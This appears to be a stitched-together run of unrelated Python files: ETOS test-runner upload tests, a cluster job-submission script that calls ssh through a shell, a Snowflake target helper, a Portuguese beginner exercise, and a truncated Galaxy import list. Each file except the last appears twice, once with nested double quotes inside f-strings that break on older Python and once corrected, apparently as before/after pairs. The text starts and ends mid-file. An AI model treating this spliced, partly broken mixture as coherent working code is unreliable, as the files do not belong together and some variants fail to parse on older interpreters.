suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": f"touch $LOG_PATH/{"a"*251}.txt", } # The file that is created will total to '255' characters, the maximum limit, but since # ETR attaches the test case name for each log file generated by that test case we will # get a filename that is too long (ETOS_API_Functests_(a*251).txt) and thus should # be renamed. with self.environ(environment): self.logger.info("STEP: Initialize ETR.") etr = ETR() self.logger.info("STEP: Run ETR with a suite that creates a file with a too long name.") self.wait_for_request.return_value = [suite] etr.run_etr() test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) self.logger.info("STEP: Verify that the file was renamed before upload") for log in test_suite_finished.data.data.get("persistentLogs"): if log["name"].endswith("aa.txt"): self.assertLessEqual(len(log["name"]), 255) break else: raise AssertionError("Log file was not uploaded") def test_log_upload_rename_file_exists(self): """Test that log upload works and that it renames files with the same name. Approval criteria: - Log names shall be renamed if are named the same. Test steps:: 1. Initialize ETR. 2. Run ETR with a test suite that creates two files with the same name. 3. Verify that one file was renamed before upload. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } command_index = self.suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) self.suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": "touch $LOG_PATH/my_file.txt", } recipe = deepcopy(self.suite["recipes"][0]) self.suite["recipes"].append(recipe) # Same test has been added twice. Both tests creates file "my_file.txt" # and the tests have the same name. # Filenames will be "ETOS_API_Functest_my_file.txt" with self.environ(environment): self.logger.info("STEP: Initialize ETR.") etr = ETR() self.logger.info( "STEP: Run ETR with a test suite that creates two files with the same name." ) etr.run_etr() self.logger.info("STEP: Verify that the file was renamed before upload") sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) expected = [ { "name": "ETOS_API_functests_my_file.txt", "uri": self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", name="ETOS_API_functests_my_file.txt", ), }, { "name": "1_ETOS_API_functests_my_file.txt", "uri": self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", name="1_ETOS_API_functests_my_file.txt", ), }, ] for log in test_suite_finished.data.data.get("persistentLogs"): if "ETOS_API_functests_my_file.txt" in log["name"]: self.assertIn(log, expected) expected.remove(log) self.assertEqual(len(expected), 0) def test_artifact_upload(self): """Test that artifact upload works as expected. Approval criteria: - Artifact upload shall be executed after each test and after each suite. - Artifacts shall be attached to ArtifactCreated event. Test steps:: 1. Initialize and run ETR suite which creates an artifact. 2. Verify that upload works as expected. 3. Verify that artifact was attached to event. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } command_index = self.suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) self.suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": "touch $ARTIFACT_PATH/my_artifact.txt", } with self.environ(environment): self.logger.info("STEP: Initialize and run ETR suite which creates an artifact.") etr = ETR() etr.run_etr() self.logger.info("STEP: Verify that upload works as expected.") sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) test_name = self.suite["recipes"][0]["testCase"]["id"] suite_name = self.suite.get("name").replace(" ", "-") artifact = f"{test_name}_my_artifact.txt" # We only verify that test artifact upload works. Global artifact is tested by # test_log_upload. for method_call in self.http_request.call_args_list: verb, url, as_json = method_call.args data = method_call.kwargs.get("data") filename = Path(data.name) if filename.name == artifact: self.assertEqual(verb, self.suite["log_area"]["upload"]["method"]) self.assertEqual( url, self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename.name, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ), ) self.assertTrue(as_json) break else: raise AssertionError(f"Artifact {artifact} was not uploaded.") self.logger.info("STEP: Verify that artifact was attached to event.") artifact_created = self.get_events( "EiffelArtifactCreatedEvent", self.debug.events_published ) self.assertEqual(len(artifact_created), 2) test_created = artifact_created.pop(0) suite_created = artifact_created.pop(0) self.assertEqual( test_created.data.data.get("identity"), f"pkg:etos-test-output/{suite_name}/{test_name}", ) self.assertListEqual( test_created.data.data.get("fileInformation"), [{"name": artifact}] ) self.assertEqual( suite_created.data.data.get("identity"), f"pkg:etos-test-output/{suite_name}", ) self.assertListEqual( suite_created.data.data.get("fileInformation"), [{"name": "workspace.tar.gz"}], ) self.assertEqual(len(artifact_created), 0) artifact_published = self.get_events( "EiffelArtifactPublishedEvent", self.debug.events_published ) self.assertEqual(len(artifact_published), 2) my_artifact = artifact_published.pop(0) url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name="", folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) self.assertListEqual( my_artifact.data.data.get("locations"), [{"type": "ARTIFACTORY", "uri": url}], ) url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name="", folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) workspace = artifact_published.pop(0) self.assertListEqual( workspace.data.data.get("locations"), [{"type": "ARTIFACTORY", "uri": url}], ) self.assertEqual(len(artifact_published), 0)
# Copyright 2020-2021 Axis Communications AB. # # For a full list of individual contributors, please see the commit history. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests full executions.""" import os import logging from copy import deepcopy from shutil import rmtree from contextlib import contextmanager from pathlib import Path from unittest import TestCase from unittest.mock import patch from etos_lib.lib.debug import Debug from etos_test_runner.etr import ETR # pylint:disable=too-many-locals SUITE = { "name": "Test ETOS API scenario", "priority": 1, "recipes": [ { "constraints": [ {"key": "ENVIRONMENT", "value": {}}, {"key": "PARAMETERS", "value": {}}, {"key": "COMMAND", "value": "exit 0"}, { "key": "TEST_RUNNER", "value": "registry.nordix.org/eiffel/etos-python-test-runner:3.9.0", }, {"key": "EXECUTE", "value": ["echo 'this is the pre-execution step'"]}, { "key": "CHECKOUT", "value": ["echo 'this is the checkout step'"], }, ], "id": "6e8d29eb-4b05-4f5e-9207-0c94438479c7", "testCase": { "id": "ETOS_API_functests", "tracker": "Github", "url": "https://github.com/eiffel-community/etos-api", }, } ], "test_runner": "registry.nordix.org/eiffel/etos-python-test-runner:3.9.0", "iut": { "provider_id": "default", "identity": "pkg:docker/production/etos/etos-api@1.2.0", "type": "docker", "namespace": "production/etos", "name": "etos-api", "version": "1.2.0", "qualifiers": {}, "subpath": None, }, "artifact": "e9b0c120-8638-4c73-9b5c-e72226415ae6", "context": "fde87097-46bd-4916-b69f-48dbbec47936", "executor": {}, "log_area": { "provider_id": "default", "livelogs": "http://localhost/livelogs", "type": "ARTIFACTORY", "upload": { "url": "http://localhost/logs/{context}/{folder}/{name}", "method": "POST", }, "logs": {}, }, } class TestLogUpload(TestCase): """Test a log upload of ETR.""" logger = logging.getLogger(__name__) @classmethod def setUpClass(cls): """Create a debug instance.""" cls.main_suite_id = "577381ad-8356-4939-ab77-02e7abe06699" cls.debug = Debug() def setUp(self): """Create patch objects and a test folder to execute from.""" self.patchers = [] self.original = Path.cwd() self.root = Path().joinpath("testfolder").absolute() if self.root.exists(): rmtree(self.root) self.root.mkdir() os.chdir(self.root) self._patch_wait_for_request() self._patch_http_request() self._patch_test_suite_started_request() def _patch_wait_for_request(self): """Patch the ETOS library wait for request method.""" patcher = patch("etos_lib.etos.Http.wait_for_request") self.patchers.append(patcher) self.wait_for_request = patcher.start() self.suite = deepcopy(SUITE) self.wait_for_request.return_value = [self.suite] def _patch_http_request(self): """Patch the ETOS library http request method.""" patcher = patch("etos_lib.etos.Http.request") self.patchers.append(patcher) self.http_request = patcher.start() self.http_request.return_value = True def _patch_test_suite_started_request(self): """Patch the GraphQL request for test suite started.""" patcher = patch("etos_test_runner.lib.testrunner.request_test_suite_started") self.patchers.append(patcher) self.request_test_suite_started = patcher.start() self.request_test_suite_started.return_value = [ { "data": {"testSuiteCategories": []}, "meta": {"id": self.main_suite_id}, } ] def tearDown(self): """Clear the test folder and patchers.""" os.chdir(self.original) rmtree(self.root, ignore_errors=True) for patcher in self.patchers: patcher.stop() @staticmethod @contextmanager def environ(add_environment): """Set environment variables in context and remove after. :param add_environment: Environment variables to add. :type add_environment: dict """ current = {} for key, value in add_environment.items(): current[key] = os.getenv(key) os.environ[key] = str(value) yield for key, value in current.items(): if value is None: del os.environ[key] else: os.environ[key] = value @staticmethod def get_event(event_name, events): """Get an event by name. :param event_name: Event name to find. :type event_name: str :return: Event with the name. :rtype: :obj:`eiffellib.lib.events.EiffelBaseEvent` """ try: return [event for event in events if event.meta.type == event_name][0] except IndexError: return None @staticmethod def get_events(event_name, events): """Get multiple events by name. :param event_name: Event name to find. :type event_name: str :return: Events with the name. :rtype: list """ try: return [event for event in events if event.meta.type == event_name] except IndexError: return [] def test_log_upload(self): """Test that log upload works as expected. Approval criteria: - Log upload shall be executed after each test and after each suite. - Logs shall be attached to TestSuiteFinished event. Test steps:: 1. Initialize and run ETR. 2. Verify that upload works as expected. 3. Verify that log url was attached to event. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } with self.environ(environment): self.logger.info("STEP: Initialize and run ETR.") etr = ETR() etr.run_etr() sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) self.logger.info("STEP: Verify that upload works as expected.") filenames = [ f"{self.suite['recipes'][0]['testCase']['id']}_test_output.log", "full_execution.log", "workspace.tar.gz", ] for method_call in self.http_request.call_args_list: verb, url, as_json = method_call.args data = method_call.kwargs.get("data") filename = Path(data.name) self.assertEqual(verb, self.suite["log_area"]["upload"]["method"]) self.assertEqual( url, self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename.name, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ), ) self.assertTrue(as_json) for path in filenames: if filename.name == path: filenames.remove(path) break else: raise AssertionError(f"{filename} should not have been uploaded.") self.assertEqual(len(filenames), 0) self.logger.info("STEP: Verify that log url was attached to event.") test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) files = [ f"{self.suite['recipes'][0]['testCase']['id']}_test_output.log", "full_execution.log", ] for filename in files: url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) for log in test_suite_finished.data.data.get("persistentLogs"): if log["name"] == filename and log["uri"] == url: test_suite_finished.data.data["persistentLogs"].remove(log) break else: raise AssertionError(f"{filename} was not attached to TestSuiteFinished event.") def test_log_upload_rename_file_too_long(self): """Test that log upload works and that it renames too long filenames. Approval criteria: - Log names shall be renamed if they are considered too long. Test steps:: 1. Initialize ETR. 2. Run ETR with a suite that creates a file with a too long name. 3. Verify that the file was renamed before upload. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } suite = deepcopy(SUITE) command_index = suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": f"touch $LOG_PATH/{'a'*251}.txt", } # The file that is created will total to '255' characters, the maximum limit, but since # ETR attaches the test case name for each log file generated by that test case we will # get a filename that is too long (ETOS_API_Functests_(a*251).txt) and thus should # be renamed. with self.environ(environment): self.logger.info("STEP: Initialize ETR.") etr = ETR() self.logger.info("STEP: Run ETR with a suite that creates a file with a too long name.") self.wait_for_request.return_value = [suite] etr.run_etr() test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) self.logger.info("STEP: Verify that the file was renamed before upload") for log in test_suite_finished.data.data.get("persistentLogs"): if log["name"].endswith("aa.txt"): self.assertLessEqual(len(log["name"]), 255) break else: raise AssertionError("Log file was not uploaded") def test_log_upload_rename_file_exists(self): """Test that log upload works and that it renames files with the same name. Approval criteria: - Log names shall be renamed if are named the same. Test steps:: 1. Initialize ETR. 2. Run ETR with a test suite that creates two files with the same name. 3. Verify that one file was renamed before upload. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } command_index = self.suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) self.suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": "touch $LOG_PATH/my_file.txt", } recipe = deepcopy(self.suite["recipes"][0]) self.suite["recipes"].append(recipe) # Same test has been added twice. Both tests creates file "my_file.txt" # and the tests have the same name. # Filenames will be "ETOS_API_Functest_my_file.txt" with self.environ(environment): self.logger.info("STEP: Initialize ETR.") etr = ETR() self.logger.info( "STEP: Run ETR with a test suite that creates two files with the same name." ) etr.run_etr() self.logger.info("STEP: Verify that the file was renamed before upload") sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) test_suite_finished = self.get_event( "EiffelTestSuiteFinishedEvent", self.debug.events_published ) expected = [ { "name": "ETOS_API_functests_my_file.txt", "uri": self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", name="ETOS_API_functests_my_file.txt", ), }, { "name": "1_ETOS_API_functests_my_file.txt", "uri": self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", name="1_ETOS_API_functests_my_file.txt", ), }, ] for log in test_suite_finished.data.data.get("persistentLogs"): if "ETOS_API_functests_my_file.txt" in log["name"]: self.assertIn(log, expected) expected.remove(log) self.assertEqual(len(expected), 0) def test_artifact_upload(self): """Test that artifact upload works as expected. Approval criteria: - Artifact upload shall be executed after each test and after each suite. - Artifacts shall be attached to ArtifactCreated event. Test steps:: 1. Initialize and run ETR suite which creates an artifact. 2. Verify that upload works as expected. 3. Verify that artifact was attached to event. """ environment = { "ETOS_DISABLE_SENDING_EVENTS": "1", "ETOS_DISABLE_RECEIVING_EVENTS": "1", "ETOS_GRAPHQL_SERVER": "http://localhost/graphql", "SUB_SUITE_URL": "http://localhost/download_suite", "HOME": self.root, # There is something weird with tox and HOME. This fixes it. } command_index = self.suite["recipes"][0]["constraints"].index( {"key": "COMMAND", "value": "exit 0"} ) self.suite["recipes"][0]["constraints"][command_index] = { "key": "COMMAND", "value": "touch $ARTIFACT_PATH/my_artifact.txt", } with self.environ(environment): self.logger.info("STEP: Initialize and run ETR suite which creates an artifact.") etr = ETR() etr.run_etr() self.logger.info("STEP: Verify that upload works as expected.") sub_suite_started = self.get_event( "EiffelTestSuiteStartedEvent", self.debug.events_published ) test_name = self.suite["recipes"][0]["testCase"]["id"] suite_name = self.suite.get("name").replace(" ", "-") artifact = f"{test_name}_my_artifact.txt" # We only verify that test artifact upload works. Global artifact is tested by # test_log_upload. for method_call in self.http_request.call_args_list: verb, url, as_json = method_call.args data = method_call.kwargs.get("data") filename = Path(data.name) if filename.name == artifact: self.assertEqual(verb, self.suite["log_area"]["upload"]["method"]) self.assertEqual( url, self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name=filename.name, folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ), ) self.assertTrue(as_json) break else: raise AssertionError(f"Artifact {artifact} was not uploaded.") self.logger.info("STEP: Verify that artifact was attached to event.") artifact_created = self.get_events( "EiffelArtifactCreatedEvent", self.debug.events_published ) self.assertEqual(len(artifact_created), 2) test_created = artifact_created.pop(0) suite_created = artifact_created.pop(0) self.assertEqual( test_created.data.data.get("identity"), f"pkg:etos-test-output/{suite_name}/{test_name}", ) self.assertListEqual( test_created.data.data.get("fileInformation"), [{"name": artifact}] ) self.assertEqual( suite_created.data.data.get("identity"), f"pkg:etos-test-output/{suite_name}", ) self.assertListEqual( suite_created.data.data.get("fileInformation"), [{"name": "workspace.tar.gz"}], ) self.assertEqual(len(artifact_created), 0) artifact_published = self.get_events( "EiffelArtifactPublishedEvent", self.debug.events_published ) self.assertEqual(len(artifact_published), 2) my_artifact = artifact_published.pop(0) url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name="", folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) self.assertListEqual( my_artifact.data.data.get("locations"), [{"type": "ARTIFACTORY", "uri": url}], ) url = self.suite["log_area"]["upload"]["url"].format( context=self.suite["context"], name="", folder=f"{self.main_suite_id}/{sub_suite_started.meta.event_id}", ) workspace = artifact_published.pop(0) self.assertListEqual( workspace.data.data.get("locations"), [{"type": "ARTIFACTORY", "uri": url}], ) self.assertEqual(len(artifact_published), 0)
# Submit job to the remote cluster import yaml import sys import time import random import os, subprocess import pickle, datetime def load_yaml_conf(yaml_file): with open(yaml_file) as fin: data = yaml.load(fin, Loader=yaml.FullLoader) return data def process_cmd(yaml_file): yaml_conf = load_yaml_conf(yaml_file) ps_ip = yaml_conf['ps_ip'] worker_ips, total_gpus = [], [] cmd_script_list = [] executor_configs = "=".join(yaml_conf['worker_ips']) for ip_gpu in yaml_conf['worker_ips']: ip, gpu_list = ip_gpu.strip().split(':') worker_ips.append(ip) total_gpus.append(eval(gpu_list)) time_stamp = datetime.datetime.fromtimestamp(time.time()).strftime('%m%d_%H%M%S') running_vms = set() job_name = 'kuiper_job' log_path = './logs' submit_user = f"{yaml_conf["auth"]["ssh_user"]}@" if len(yaml_conf['auth']['ssh_user']) else "" job_conf = {'time_stamp':time_stamp, 'ps_ip':ps_ip, 'ps_port':random.randint(1000, 60000), 'manager_port':random.randint(1000, 60000) } for conf in yaml_conf['job_conf']: job_conf.update(conf) conf_script = '' setup_cmd = '' if yaml_conf['setup_commands'] is not None: setup_cmd += (yaml_conf['setup_commands'][0] + ' && ') for item in yaml_conf['setup_commands'][1:]: setup_cmd += (item + ' && ') cmd_sufix = f" " for conf_name in job_conf: conf_script = conf_script + f' --{conf_name}={job_conf[conf_name]}' if conf_name == "job_name": job_name = job_conf[conf_name] if conf_name == "log_path": log_path = os.path.join(job_conf[conf_name], 'log', job_name, time_stamp) total_gpu_processes = sum([sum(x) for x in total_gpus]) # =========== Submit job to parameter server ============ running_vms.add(ps_ip) ps_cmd = f" python {yaml_conf["exp_path"]}/{yaml_conf["aggregator_entry"]} {conf_script} --this_rank=0 --num_executors={total_gpu_processes} --executor_configs={executor_configs} " print(ps_cmd, ' &') with open(f"{job_name}_logging", 'wb') as fout: pass print(f"Starting aggregator on {ps_ip}...") time.sleep(1) # =========== Submit job to each worker ============ rank_id = 1 for worker, gpu in zip(worker_ips, total_gpus): running_vms.add(worker) print(f"Starting workers on {worker} ...") for cuda_id in range(len(gpu)): for _ in range(gpu[cuda_id]): worker_cmd = f" python {yaml_conf["exp_path"]}/{yaml_conf["executor_entry"]} {conf_script} --this_rank={rank_id} --num_executors={total_gpu_processes} --cuda_device=cuda:{cuda_id} " rank_id += 1 print(worker_cmd,' &') # dump the address of running workers current_path = os.path.dirname(os.path.abspath(__file__)) job_name = os.path.join(current_path, job_name) with open(job_name, 'wb') as fout: job_meta = {'user':submit_user, 'vms': running_vms} pickle.dump(job_meta, fout) print(f"Submitted job, please check your logs ({log_path}) for status") def terminate(job_name): current_path = os.path.dirname(os.path.abspath(__file__)) job_meta_path = os.path.join(current_path, job_name) if not os.path.isfile(job_meta_path): print(f"Fail to terminate {job_name}, as it does not exist") with open(job_meta_path, 'rb') as fin: job_meta = pickle.load(fin) for vm_ip in job_meta['vms']: # os.system(f'scp shutdown.py {job_meta['user']}{vm_ip}:~/') print(f"Shutting down job on {vm_ip}") with open(f"{job_name}_logging", 'a') as fout: subprocess.Popen(f'ssh {job_meta['user']}{vm_ip} "python {current_path}/shutdown.py {job_name}"', shell=True, stdout=fout, stderr=fout) # _ = os.system(f"ssh {job_meta["user"]}{vm_ip} 'python {current_path}/shutdown.py {job_name}'") if sys.argv[1] == 'submit': process_cmd(sys.argv[2]) elif sys.argv[1] == 'stop': terminate(sys.argv[2]) else: print("Unknown cmds ...")
# Submit job to the remote cluster import yaml import sys import time import random import os, subprocess import pickle, datetime def load_yaml_conf(yaml_file): with open(yaml_file) as fin: data = yaml.load(fin, Loader=yaml.FullLoader) return data def process_cmd(yaml_file): yaml_conf = load_yaml_conf(yaml_file) ps_ip = yaml_conf['ps_ip'] worker_ips, total_gpus = [], [] cmd_script_list = [] executor_configs = "=".join(yaml_conf['worker_ips']) for ip_gpu in yaml_conf['worker_ips']: ip, gpu_list = ip_gpu.strip().split(':') worker_ips.append(ip) total_gpus.append(eval(gpu_list)) time_stamp = datetime.datetime.fromtimestamp(time.time()).strftime('%m%d_%H%M%S') running_vms = set() job_name = 'kuiper_job' log_path = './logs' submit_user = f"{yaml_conf['auth']['ssh_user']}@" if len(yaml_conf['auth']['ssh_user']) else "" job_conf = {'time_stamp':time_stamp, 'ps_ip':ps_ip, 'ps_port':random.randint(1000, 60000), 'manager_port':random.randint(1000, 60000) } for conf in yaml_conf['job_conf']: job_conf.update(conf) conf_script = '' setup_cmd = '' if yaml_conf['setup_commands'] is not None: setup_cmd += (yaml_conf['setup_commands'][0] + ' && ') for item in yaml_conf['setup_commands'][1:]: setup_cmd += (item + ' && ') cmd_sufix = f" " for conf_name in job_conf: conf_script = conf_script + f' --{conf_name}={job_conf[conf_name]}' if conf_name == "job_name": job_name = job_conf[conf_name] if conf_name == "log_path": log_path = os.path.join(job_conf[conf_name], 'log', job_name, time_stamp) total_gpu_processes = sum([sum(x) for x in total_gpus]) # =========== Submit job to parameter server ============ running_vms.add(ps_ip) ps_cmd = f" python {yaml_conf['exp_path']}/{yaml_conf['aggregator_entry']} {conf_script} --this_rank=0 --num_executors={total_gpu_processes} --executor_configs={executor_configs} " print(ps_cmd, ' &') with open(f"{job_name}_logging", 'wb') as fout: pass print(f"Starting aggregator on {ps_ip}...") time.sleep(1) # =========== Submit job to each worker ============ rank_id = 1 for worker, gpu in zip(worker_ips, total_gpus): running_vms.add(worker) print(f"Starting workers on {worker} ...") for cuda_id in range(len(gpu)): for _ in range(gpu[cuda_id]): worker_cmd = f" python {yaml_conf['exp_path']}/{yaml_conf['executor_entry']} {conf_script} --this_rank={rank_id} --num_executors={total_gpu_processes} --cuda_device=cuda:{cuda_id} " rank_id += 1 print(worker_cmd,' &') # dump the address of running workers current_path = os.path.dirname(os.path.abspath(__file__)) job_name = os.path.join(current_path, job_name) with open(job_name, 'wb') as fout: job_meta = {'user':submit_user, 'vms': running_vms} pickle.dump(job_meta, fout) print(f"Submitted job, please check your logs ({log_path}) for status") def terminate(job_name): current_path = os.path.dirname(os.path.abspath(__file__)) job_meta_path = os.path.join(current_path, job_name) if not os.path.isfile(job_meta_path): print(f"Fail to terminate {job_name}, as it does not exist") with open(job_meta_path, 'rb') as fin: job_meta = pickle.load(fin) for vm_ip in job_meta['vms']: # os.system(f'scp shutdown.py {job_meta["user"]}{vm_ip}:~/') print(f"Shutting down job on {vm_ip}") with open(f"{job_name}_logging", 'a') as fout: subprocess.Popen(f'ssh {job_meta["user"]}{vm_ip} "python {current_path}/shutdown.py {job_name}"', shell=True, stdout=fout, stderr=fout) # _ = os.system(f"ssh {job_meta['user']}{vm_ip} 'python {current_path}/shutdown.py {job_name}'") if sys.argv[1] == 'submit': process_cmd(sys.argv[2]) elif sys.argv[1] == 'stop': terminate(sys.argv[2]) else: print("Unknown cmds ...")
from decimal import Decimal from singer import get_logger LOGGER = get_logger('target_snowflake') # Ty to find faster json implementations try: import ujson as json LOGGER.info("Using ujson.") except ImportError: try: import simplejson as json LOGGER.info("Using simplejson.") except ImportError: import json def load_line(line): try: return json.loads(line) except json.decoder.JSONDecodeError: LOGGER.error("Unable to parse:\n{}".format(line)) raise def float_to_decimal(value): """Walk the given data structure and turn all instances of float into double.""" if isinstance(value, float): return Decimal(str(value)) if isinstance(value, list): return [float_to_decimal(child) for child in value] if isinstance(value, dict): return {k: float_to_decimal(v) for k, v in value.items()} return value def check_message_has_stream(line, message): """ Check a given message has a corresponding stream. """ if 'stream' not in message: raise Exception( f"Line is missing required key 'stream': {line}" ) def check_message_has_schema(line, message, schemas): """ Check a given message has a corresponding schema. """ if message['stream'] not in schemas: raise Exception( f"A message for stream {message["stream"]} " "was encountered before a corresponding schema" )
from decimal import Decimal from singer import get_logger LOGGER = get_logger('target_snowflake') # Ty to find faster json implementations try: import ujson as json LOGGER.info("Using ujson.") except ImportError: try: import simplejson as json LOGGER.info("Using simplejson.") except ImportError: import json def load_line(line): try: return json.loads(line) except json.decoder.JSONDecodeError: LOGGER.error("Unable to parse:\n{}".format(line)) raise def float_to_decimal(value): """Walk the given data structure and turn all instances of float into double.""" if isinstance(value, float): return Decimal(str(value)) if isinstance(value, list): return [float_to_decimal(child) for child in value] if isinstance(value, dict): return {k: float_to_decimal(v) for k, v in value.items()} return value def check_message_has_stream(line, message): """ Check a given message has a corresponding stream. """ if 'stream' not in message: raise Exception( f"Line is missing required key 'stream': {line}" ) def check_message_has_schema(line, message, schemas): """ Check a given message has a corresponding schema. """ if message['stream'] not in schemas: raise Exception( f"A message for stream {message['stream']} " "was encountered before a corresponding schema" )
#Faça um programa que leia uma frase pelo teclado e mostre quantas vezes aparece a letra “A”, # em que posição ela aparece a primeira vez e em que posição ela aparece a última vez. frase = str(input('Digite uma frase ' )).upper().strip() # Se colocar tudo em aspas simples da erro print(f"A letra A na frase digitada aparece {frase.count("A")} vezes") # No python pode aparece na primeira posição que é 0, mas p/ o usário entender colcamos mais +1 print (f"A primeira letra A apareceu na posicição {frase.find("A")+1}") # R é de right (primeira posição a direita print (f"A última letra A apareceu na posicição {frase.rfind("A")+1}")
#Faça um programa que leia uma frase pelo teclado e mostre quantas vezes aparece a letra “A”, # em que posição ela aparece a primeira vez e em que posição ela aparece a última vez. frase = str(input('Digite uma frase ' )).upper().strip() # Se colocar tudo em aspas simples da erro print(f"A letra A na frase digitada aparece {frase.count('A')} vezes") # No python pode aparece na primeira posição que é 0, mas p/ o usário entender colcamos mais +1 print (f"A primeira letra A apareceu na posicição {frase.find('A')+1}") # R é de right (primeira posição a direita print (f"A última letra A apareceu na posicição {frase.rfind('A')+1}")
""" Classes encapsulating galaxy tools and tool configuration. """ import itertools import json import logging import math import os import re import tarfile import tempfile import threading from pathlib import Path from typing import ( Any, cast, Dict, List, NamedTuple, Optional, Set, Tuple, Type, TYPE_CHECKING, Union, ) from urllib.parse import unquote_plus import packaging.version import webob.exc from lxml import etree from mako.template import Template from webob.compat import cgi_FieldStorage from galaxy import ( exceptions, model, ) from galaxy.exceptions import ToolInputsNotReadyException from galaxy.job_execution import output_collect from galaxy.metadata import get_metadata_compute_strategy from galaxy.tool_shed.util.repository_util import get_installed_repository from galaxy.tool_shed.util.shed_util_common import set_image_paths from galaxy.tool_util.deps import CachedDependencyManager from galaxy.tool_util.fetcher import ToolLocationFetcher from galaxy.tool_util.loader import ( imported_macro_paths, raw_tool_xml_tree, template_macro_params, ) from galaxy.tool_util.ontologies.ontology_data import ( biotools_reference, expand_ontology_data, ) from galaxy.tool_util.output_checker import DETECTED_JOB_STATE from galaxy.tool_util.parser import ( get_tool_source, get_tool_source_from_representation, RequiredFiles, ToolOutputCollectionPart, ) from galaxy.tool_util.parser.xml import XmlPageSource from galaxy.tool_util.provided_metadata import parse_tool_provided_metadata from galaxy.tool_util.toolbox import BaseGalaxyToolBox from galaxy.tool_util.toolbox.views.sources import StaticToolBoxViewSources from galaxy.tools import expressions from galaxy.tools.actions import ( DefaultToolAction, ToolAction, ) from galaxy.tools.actions.data_manager import DataManagerToolAction from galaxy.tools.actions.data_source import DataSourceToolAction from galaxy.tools.actions.model_operations import ModelOperationToolAction from galaxy.tools.cache import ToolDocumentCache from galaxy.tools.evaluation import global_tool_errors from galaxy.tools.imp_exp import JobImportHistoryArchiveWrapper from galaxy.tools.parameters import ( check_param, params_from_strings, params_to_incoming, params_to_strings, populate_state, visit_input_values, ) from galaxy.tools.parameters.basic import ( BaseURLToolParameter, DataCollectionToolParameter, DataToolParameter, HiddenToolParameter, ImplicitConversionRequired, SelectToolParameter, ToolParameter, workflow_building_modes, ) from galaxy.tools.parameters.dataset_matcher import ( set_dataset_matcher_factory, unset_dataset_matcher_factory, ) from galaxy.tools.parameters.grouping import ( Conditional, ConditionalWhen, Repeat, Section, UploadDataset, ) from galaxy.tools.parameters.input_translation import ToolInputTranslator from galaxy.tools.parameters.meta import 